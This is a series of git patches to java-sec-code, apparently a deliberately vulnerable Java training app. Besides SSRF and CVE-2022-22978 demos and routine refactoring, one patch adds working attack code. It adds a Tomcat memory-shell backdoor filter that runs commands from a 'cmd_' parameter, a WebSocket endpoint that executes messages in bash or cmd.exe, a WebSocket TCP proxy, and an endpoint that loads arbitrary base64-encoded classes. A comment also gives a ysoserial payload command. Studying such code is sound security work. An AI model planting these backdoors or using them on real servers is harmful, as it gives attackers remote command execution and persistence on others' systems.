diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index d0be6dd3..a5b67dad 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -221,5 +221,4 @@ public static String HttpAsyncClients(String url) {
             }
         }
     }
-
 }
diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java
index 3ee6c89d..bb33642e 100644
--- a/src/main/java/org/joychou/util/JwtUtils.java
+++ b/src/main/java/org/joychou/util/JwtUtils.java
@@ -83,6 +83,7 @@ public static Boolean verifyTokenByJavaJwt(String token) {
 
 
     public static String getNicknameByJavaJwt(String token) {
+        // If the signature is not verified, there will be security issues.
         if (!verifyTokenByJavaJwt(token)) {
             log.error("token is invalid");
             return null;

From 9acefb2b0c0d32b2cd07e83219b276f94cdb32e7 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 21 Nov 2022 18:44:54 +0800
Subject: [PATCH 27/38] add jwt

---
 java-sec-code.iml                              |  1 +
 pom.xml                                        |  6 ++++++
 src/main/java/org/joychou/controller/SSRF.java | 16 +++++++++++++++-
 3 files changed, 22 insertions(+), 1 deletion(-)

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 445cfa46..9b423c61 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -221,5 +221,6 @@
     <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.4" level="project" />
     <orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
     <orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
+    <orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.10" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index aa8e89a5..751a4b35 100644
--- a/pom.xml
+++ b/pom.xml
@@ -300,6 +300,12 @@
             <version>4.0.0</version>
         </dependency>
 
+        <dependency>
+            <groupId>cn.hutool</groupId>
+            <artifactId>hutool-all</artifactId>
+            <version>5.8.10</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 72044a7a..b4c4bde8 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,5 +1,6 @@
 package org.joychou.controller;
 
+import cn.hutool.http.HttpUtil;
 import org.joychou.security.SecurityUtil;
 import org.joychou.security.ssrf.SSRFException;
 import org.joychou.service.HttpService;
@@ -273,7 +274,7 @@ public String HttpSyncClients(@RequestParam("url") String url) {
 
 
     /**
-     * http://127.0.0.1:8080/ssrf/restTemplate/vuln?url=http://www.baidu.com <p>
+     * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com <p>
      * Only support HTTP protocol. <p>
      * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects<p>
      * User-Agent: Java/1.8.0_102 <p>
@@ -294,5 +295,18 @@ public String RestTemplateUrl(String url){
     }
 
 
+    /**
+     * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com <p>
+     * UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool<p>
+     * Redirects: Do not follow redirects <p>
+     *
+     * @param url url
+     * @return contents of url
+     */
+    @GetMapping("/hutool/vuln")
+    public String hutoolHttp(String url){
+        return HttpUtil.get(url);
+    }
+
 
 }

From da04cccd476a5a620c2c508360512e601580ddaf Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 16 Jan 2023 15:36:03 +0800
Subject: [PATCH 28/38] add CVE-2022-22978

---
 README.md                                     |  1 +
 README_zh.md                                  |  1 +
 .../java/org/joychou/controller/Dotall.java   | 32 +++++++++++++++++++
 .../security/CsrfAccessDeniedHandler.java     |  2 +-
 .../joychou/security/WebSecurityConfig.java   |  5 ++-
 src/main/java/org/joychou/util/HttpUtils.java |  4 +--
 6 files changed, 41 insertions(+), 4 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/Dotall.java

diff --git a/README.md b/README.md
index edfda09c..c7e886a6 100644
--- a/README.md
+++ b/README.md
@@ -30,6 +30,7 @@ Sort by letter.
 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
 - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
 - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
 - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
 - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
 - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
diff --git a/README_zh.md b/README_zh.md
index 111c8be3..549766a5 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -26,6 +26,7 @@ joychou/joychou123
 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
 - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
 - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
 - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
 - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
 - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java
new file mode 100644
index 00000000..d2dfc49d
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Dotall.java
@@ -0,0 +1,32 @@
+package org.joychou.controller;
+
+
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.regex.Pattern;
+
+
+/**
+ * Spring Security CVE-2022-22978 <p>
+ * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-22978">漏洞相关wiki</a>
+ * @author JoyChou @2023-01-212
+ */
+
+public class Dotall {
+
+
+    /**
+     * <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a>
+     * 漏洞描述：h
+     */
+    public static void main(String[] args) throws Exception{
+        Pattern vuln_pattern = Pattern.compile("/black_path.*");
+        Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
+
+        String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
+        System.out.println("Poc: " + poc);
+        System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches());    // false，非dotall无法匹配\r\n
+        System.out.println("Dotall: " + sec_pattern.matcher(poc).matches());         // true，dotall可以匹配\r\n
+    }
+}
diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
index 2e1df795..4f8ad327 100644
--- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
+++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
@@ -29,7 +29,7 @@ public void handle(HttpServletRequest request, HttpServletResponse response,
 
         response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html
         response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden
-        response.getWriter().write("CSRF check failed by JoyChou.");  // response contents
+        response.getWriter().write("403 forbidden by JoyChou.");  // response contents
     }
 
 }
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 5e8c3697..9d90c698 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -62,13 +62,16 @@ protected void configure(HttpSecurity http) throws Exception {
                 .ignoringAntMatchers(csrfExcludeUrl)  // 不进行csrf校验的uri，多个uri使用逗号分隔
                 .csrfTokenRepository(new CookieCsrfTokenRepository());
         http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
-        // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());«
+
+        // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
 
         http.cors();
 
         // spring security login settings
         http.authorizeRequests()
                 .antMatchers("/css/**", "/js/**").permitAll() // permit static resources
+                // CVE-2022-22978漏洞代码
+                .regexMatchers("/black_path.*").denyAll()    // 如果正则匹配到/black_path，则forbidden
                 .anyRequest().authenticated().and() // any request authenticated except above static resources
                 .formLogin().loginPage("/login").permitAll() // permit all to access /login page
                 .successHandler(new LoginSuccessHandler())
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index a5b67dad..2c248b29 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -146,7 +146,7 @@ public static String HttpURLConnection(String url) {
     public static String Jsoup(String url) {
         try {
             Document doc = Jsoup.connect(url)
-                    //.followRedirects(false)
+//                    .followRedirects(false)
                     .timeout(3000)
                     .cookie("name", "joychou") // request cookies
                     .execute().parse();
@@ -164,7 +164,7 @@ public static String Jsoup(String url) {
      */
     public static String okhttp(String url) throws IOException {
         OkHttpClient client = new OkHttpClient();
-        // client.setFollowRedirects(false);
+//         client.setFollowRedirects(false);
         com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
         return client.newCall(ok_http).execute().body().string();
     }

From 9d66a8885aaf198a29602c7de1e45fba5a11a715 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Tue, 17 Jan 2023 14:40:29 +0800
Subject: [PATCH 29/38] add alibaba security purple team recruitment

---
 README.md    | 2 +-
 README_zh.md | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index c7e886a6..52642169 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
 
 Java sec code is a very powerful and friendly project for learning Java vulnerability code.
 
-[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md)
+[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
 
 ## Introduce
 
diff --git a/README_zh.md b/README_zh.md
index 549766a5..70e68837 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,7 @@
 
 对于学习Java漏洞代码来说，`Java Sec Code`是一个非常强大且友好的项目。
 
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
 
 ## 介绍
 

From c3c41b44e0361b565bc945b106aeabc1676d30bd Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 23 Feb 2023 23:01:00 +0800
Subject: [PATCH 30/38] fix #25

---
 java-sec-code.iml                             |   2 +-
 pom.xml                                       |   6 +
 .../joychou/config/TomcatFilterMemShell.java  | 120 ++++++++++++++++
 .../joychou/config/WebSocketsCmdEndpoint.java |  46 +++++++
 .../config/WebSocketsProxyEndpoint.java       | 111 +++++++++++++++
 .../joychou/controller/ClassDataLoader.java   |  31 +++++
 .../org/joychou/controller/Deserialize.java   |  16 +--
 .../java/org/joychou/controller/Dotall.java   |   1 -
 .../java/org/joychou/controller/SQLI.java     |  73 +++++-----
 .../java/org/joychou/controller/SSRF.java     |  78 ++++++-----
 .../org/joychou/controller/WebSockets.java    |  76 +++++++++++
 src/main/java/org/joychou/controller/XXE.java |   3 +-
 .../joychou/security/WebSecurityConfig.java   |   7 +-
 .../joychou/security/ssrf/SSRFChecker.java    | 129 ++++++++++++++++--
 src/main/resources/application.properties     |  23 +++-
 15 files changed, 618 insertions(+), 104 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/TomcatFilterMemShell.java
 create mode 100644 src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
 create mode 100644 src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
 create mode 100644 src/main/java/org/joychou/controller/ClassDataLoader.java
 create mode 100644 src/main/java/org/joychou/controller/WebSockets.java

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 9b423c61..6e093293 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -57,7 +57,6 @@
     <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf-spring4:2.1.5.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf:2.1.5.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: ognl:ognl:3.0.8" level="project" />
-    <orderEntry type="library" name="Maven: org.javassist:javassist:3.21.0-GA" level="project" />
     <orderEntry type="library" name="Maven: org.unbescape:unbescape:1.1.0.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: nz.net.ultraq.thymeleaf:thymeleaf-layout-dialect:1.4.0" level="project" />
     <orderEntry type="library" name="Maven: org.codehaus.groovy:groovy:2.4.7" level="project" />
@@ -222,5 +221,6 @@
     <orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
     <orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
     <orderEntry type="library" name="Maven: cn.hutool:hutool-all:5.8.10" level="project" />
+    <orderEntry type="library" name="Maven: org.javassist:javassist:3.27.0-GA" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 751a4b35..43c5b99a 100644
--- a/pom.xml
+++ b/pom.xml
@@ -306,6 +306,12 @@
             <version>5.8.10</version>
         </dependency>
 
+        <dependency>
+            <groupId>org.javassist</groupId>
+            <artifactId>javassist</artifactId>
+            <version>3.27.0-GA</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
new file mode 100644
index 00000000..be7a1b1c
--- /dev/null
+++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
@@ -0,0 +1,120 @@
+package org.joychou.config;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import java.lang.reflect.Field;
+import org.apache.catalina.core.StandardContext;
+import java.io.IOException;
+import org.apache.catalina.loader.WebappClassLoaderBase;
+import org.apache.tomcat.util.descriptor.web.FilterDef;
+import org.apache.tomcat.util.descriptor.web.FilterMap;
+import java.lang.reflect.Constructor;
+import org.apache.catalina.core.ApplicationFilterConfig;
+import org.apache.catalina.Context;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.*;
+import java.util.*;
+
+@Component
+public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
+    static{
+        try {
+            System.out.println("Tomcat filter backdoor class is loading...");
+            final String name = "backdoorTomcatFilter";
+            final String URLPattern = "/*";
+
+            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+            // standardContext为tomcat标准上下文，
+            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
+
+            Class<? extends StandardContext> aClass;
+            try{
+                // standardContext类名为TomcatEmbeddedContex，TomcatEmbeddedContext父类为StandardContext
+                // 适用于内嵌式springboot的tomcat
+                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
+            }catch (Exception e){
+                aClass = standardContext.getClass();
+            }
+            Field Configs = aClass.getDeclaredField("filterConfigs");
+            Configs.setAccessible(true);
+            // 获取当前tomcat标准上下文中已经存在的filterConfigs
+            Map filterConfigs = (Map) Configs.get(standardContext);
+
+            // 判断下防止重复注入
+            if (filterConfigs.get(name) == null) {
+                // 构造filterDef，并将filterDef添加到standardContext的FilterDef中
+                TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell();
+                FilterDef filterDef = new FilterDef();
+                filterDef.setFilter(backdoorFilter);
+                filterDef.setFilterName(name);
+                filterDef.setFilterClass(backdoorFilter.getClass().getName());
+                standardContext.addFilterDef(filterDef);
+
+                // 构造fiterMap，将filterMap添加到standardContext的FilterMap
+                FilterMap filterMap = new FilterMap();
+                filterMap.addURLPattern(URLPattern);
+                filterMap.setFilterName(name);
+                filterMap.setDispatcher(DispatcherType.REQUEST.name());
+                standardContext.addFilterMapBefore(filterMap);
+
+                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
+                constructor.setAccessible(true);
+                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
+
+                // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可
+                filterConfigs.put(name, filterConfig);
+                System.out.println("Tomcat filter backdoor inject success!");
+            } else System.out.println("It has been successfully injected, do not inject again.");
+        } catch (Exception e) {
+            System.out.println(e.getMessage());
+        }
+    }
+
+
+    @Override
+    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+    }
+
+    @Override
+    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+    }
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        String cmd;
+        if ((cmd = servletRequest.getParameter("cmd_")) != null) {
+            Process process = Runtime.getRuntime().exec(cmd);
+            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
+                    new java.io.InputStreamReader(process.getInputStream()));
+            StringBuilder stringBuilder = new StringBuilder();
+            String line;
+            while ((line = bufferedReader.readLine()) != null) {
+                stringBuilder.append(line).append('\n');
+            }
+            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
+            servletResponse.getOutputStream().flush();
+            servletResponse.getOutputStream().close();
+            return;
+        }
+
+        filterChain.doFilter(servletRequest, servletResponse);
+    }
+
+
+    @Override
+    public void destroy() {
+
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
new file mode 100644
index 00000000..ae4a0f1a
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
@@ -0,0 +1,46 @@
+package org.joychou.config;
+
+import javax.websocket.*;
+import java.io.InputStream;
+
+public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
+    private Session session;
+
+    @Override
+    public void onOpen(Session session, EndpointConfig endpointConfig) {
+        this.session = session;
+        session.addMessageHandler(this);
+    }
+
+    @Override
+    public void onClose(Session session, CloseReason closeReason) {
+        super.onClose(session, closeReason);
+    }
+
+    @Override
+    public void onError(Session session, Throwable throwable) {
+        super.onError(session, throwable);
+    }
+
+    @Override
+    public void onMessage(String s) {
+        try {
+            Process process;
+            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+            if (bool) {
+                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
+            } else {
+                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
+            }
+            InputStream inputStream = process.getInputStream();
+            StringBuilder stringBuilder = new StringBuilder();
+            int i;
+            while ((i = inputStream.read()) != -1) stringBuilder.append((char) i);
+            inputStream.close();
+            process.waitFor();
+            session.getBasicRemote().sendText(stringBuilder.toString());
+        } catch (Exception exception) {
+            exception.printStackTrace();
+        }
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
new file mode 100644
index 00000000..4c1f7710
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
@@ -0,0 +1,111 @@
+package org.joychou.config;
+
+import javax.websocket.Endpoint;
+import javax.websocket.EndpointConfig;
+import javax.websocket.MessageHandler;
+import javax.websocket.Session;
+import java.io.ByteArrayOutputStream;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.AsynchronousSocketChannel;
+import java.nio.channels.CompletionHandler;
+import java.util.HashMap;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public class WebSocketsProxyEndpoint extends Endpoint {
+    long i = 0;
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String, AsynchronousSocketChannel>();
+
+    static class Attach {
+        public AsynchronousSocketChannel client;
+        public Session channel;
+    }
+
+    void readFromServer(Session channel, AsynchronousSocketChannel client) {
+        final ByteBuffer buffer = ByteBuffer.allocate(50000);
+        Attach attach = new Attach();
+        attach.client = client;
+        attach.channel = channel;
+        client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
+            @Override
+            public void completed(Integer result, final Attach scAttachment) {
+                buffer.clear();
+                try {
+                    if (buffer.hasRemaining() && result >= 0) {
+                        byte[] arr = new byte[result];
+                        ByteBuffer b = buffer.get(arr, 0, result);
+                        baos.write(arr, 0, result);
+                        ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
+                        if (scAttachment.channel.isOpen()) {
+                            scAttachment.channel.getBasicRemote().sendBinary(q);
+                        }
+                        baos = new ByteArrayOutputStream();
+                        readFromServer(scAttachment.channel, scAttachment.client);
+                    } else {
+                        if (result > 0) {
+                            byte[] arr = new byte[result];
+                            ByteBuffer b = buffer.get(arr, 0, result);
+                            baos.write(arr, 0, result);
+                            readFromServer(scAttachment.channel, scAttachment.client);
+                        }
+                    }
+                } catch (Exception ignored) {
+                }
+            }
+
+            @Override
+            public void failed(Throwable t, Attach scAttachment) {
+                t.printStackTrace();
+            }
+        });
+    }
+
+    void process(ByteBuffer z, Session channel) {
+        try {
+            if (i > 1) {
+                AsynchronousSocketChannel client = map.get(channel.getId());
+                client.write(z).get();
+                z.flip();
+                z.clear();
+            } else if (i == 1) {
+                String values = new String(z.array());
+                String[] array = values.split(" ");
+                String[] addrarray = array[1].split(":");
+                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
+                int po = Integer.parseInt(addrarray[1]);
+                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
+                Future<Void> future = client.connect(hostAddress);
+                try {
+                    future.get(10, TimeUnit.SECONDS);
+                } catch (Exception ignored) {
+                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                    return;
+                }
+                map.put(channel.getId(), client);
+                readFromServer(channel, client);
+                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    @Override
+    public void onOpen(final Session session, EndpointConfig config) {
+        i = 0;
+        session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20);
+        session.setMaxTextMessageBufferSize(1024 * 1024 * 20);
+        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
+            @Override
+            public void onMessage(ByteBuffer message) {
+                try {
+                    message.clear();
+                    i++;
+                    process(message, session);
+                } catch (Exception ignored) {
+                }
+            }
+        });
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java
new file mode 100644
index 00000000..acd4ff3f
--- /dev/null
+++ b/src/main/java/org/joychou/controller/ClassDataLoader.java
@@ -0,0 +1,31 @@
+package org.joychou.controller;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+
+public class ClassDataLoader {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @RequestMapping("/classloader")
+    public void classData() {
+        try{
+            ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
+            HttpServletRequest request = sra.getRequest();
+            String classData = request.getParameter("classData");
+
+            byte[] classBytes = java.util.Base64.getDecoder().decode(classData);
+            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
+            defineClassMethod.setAccessible(true);
+            Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length);
+            cc.newInstance();
+        }catch(Exception e){
+            logger.error(e.toString());
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 9531e980..1ca5ff43 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -29,17 +29,14 @@ public class Deserialize {
     protected final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     /**
-     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
-     * Add the result to rememberMe cookie.
-     * <p>
-     * http://localhost:8080/deserialize/rememberMe/vuln
+     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br>
+     * <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a>
      */
     @RequestMapping("/rememberMe/vuln")
     public String rememberMeVul(HttpServletRequest request)
             throws IOException, ClassNotFoundException {
 
         Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
-
         if (null == cookie) {
             return "No rememberMe cookie. Right?";
         }
@@ -56,12 +53,9 @@ public String rememberMeVul(HttpServletRequest request)
     }
 
     /**
-     * Check deserialize class using black list.
-     * Or
-     * Update commons-collections to 3.2.2 or above.
-     * Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
-     * <p>
-     * http://localhost:8080/deserialize/rememberMe/security
+     * Check deserialize class using black list. <br>
+     * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.<br>
+     * <a href="http://localhost:8080/deserialize/rememberMe/security">http://localhost:8080/deserialize/rememberMe/security</a>
      */
     @RequestMapping("/rememberMe/security")
     public String rememberMeBlackClassCheck(HttpServletRequest request)
diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java
index d2dfc49d..f6746354 100644
--- a/src/main/java/org/joychou/controller/Dotall.java
+++ b/src/main/java/org/joychou/controller/Dotall.java
@@ -18,7 +18,6 @@ public class Dotall {
 
     /**
      * <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a>
-     * 漏洞描述：h
      */
     public static void main(String[] args) throws Exception{
         Pattern vuln_pattern = Pattern.compile("/black_path.*");
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 6682115c..be46f45b 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -6,10 +6,10 @@
 import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
-import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.web.bind.annotation.*;
 
+import javax.annotation.Resource;
 import java.sql.*;
 import java.util.List;
 
@@ -25,8 +25,10 @@
 @RequestMapping("/sqli")
 public class SQLI {
 
-    private static Logger logger = LoggerFactory.getLogger(SQLI.class);
-    private static String driver = "com.mysql.jdbc.Driver";
+    private static final Logger logger = LoggerFactory.getLogger(SQLI.class);
+
+    // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver.
+    private static final String driver = "com.mysql.cj.jdbc.Driver";
 
     @Value("${spring.datasource.url}")
     private String url;
@@ -37,15 +39,14 @@ public class SQLI {
     @Value("${spring.datasource.password}")
     private String password;
 
-    @Autowired
+    @Resource
     private UserMapper userMapper;
 
 
     /**
-     * Vuln Code.
-     * http://localhost:8080/sqli/jdbc/vuln?username=joychou
+     * <p>Sql injection jbdc vuln code.</p><br>
      *
-     * @param username username
+     * <a href="http://localhost:8080/sqli/jdbc/vuln?username=joychou">http://localhost:8080/sqli/jdbc/vuln?username=joychou</a>
      */
     @RequestMapping("/jdbc/vuln")
     public String jdbc_sqli_vul(@RequestParam("username") String username) {
@@ -77,7 +78,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) {
 
 
